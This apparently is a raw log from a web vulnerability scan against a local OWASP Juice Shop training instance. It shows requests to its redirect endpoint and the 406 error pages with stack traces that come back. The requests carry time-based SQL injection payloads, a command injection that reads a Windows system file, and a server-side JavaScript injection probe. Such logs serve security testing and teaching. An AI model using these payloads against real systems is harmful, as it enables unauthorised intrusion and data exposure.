b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:54 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: "+(SELECT * FROM (SELECT(SLEEP(8)))foo)+"</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: "+(SELECT * FROM (SELECT(SLEEP(8)))foo)+"</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/redirect?to=1%27%20or%20pg_sleep%288%29%20and%20%271%27%3D%271 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:54 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: 1' or pg_sleep(8) and '1'='1</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: 1' or pg_sleep(8) and '1'='1</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/redirect?to=%26%26type%20%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:42 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: &&type %SYSTEMROOT%\\win.ini</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: &&type %SYSTEMROOT%\\win.ini</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/redirect?to=1%27%3Bwaitfor%20delay%20%270%3A0%3A8%27-- HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:54 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: 1';waitfor delay '0:0:8'--</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: 1';waitfor delay '0:0:8'--</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/redirect?to=%22 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:43 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: "</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: "</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/redirect?to=%3C%21-- HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:43 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: <!--</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: <!--</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/redirect?to=%27%20OR%20%28SELECT%20%2A%20FROM%20%28SELECT%28SLEEP%288%29%29%29foo%29%20OR%20%271%27%3D%272 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
b"HTTP/1.1 406 Not Acceptable\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:54 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unrecognized target URL for redirect: ' OR (SELECT * FROM (SELECT(SLEEP(8)))foo) OR '1'='2</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>406</em> Error: Unrecognized target URL for redirect: ' OR (SELECT * FROM (SELECT(SLEEP(8)))foo) OR '1'='2</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/redirect.js:21:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:144:13)</li><li> at Route.dispatch (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/route.js:114:3)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:284:15</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/redirect?to=%3Bresponse.end%28%28new%20Array%285%2B1%29%29.join%28%27opxvb%27%29%29 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss Upgrade-insecure-requests: 1 Accept-encoding: gzip, deflate
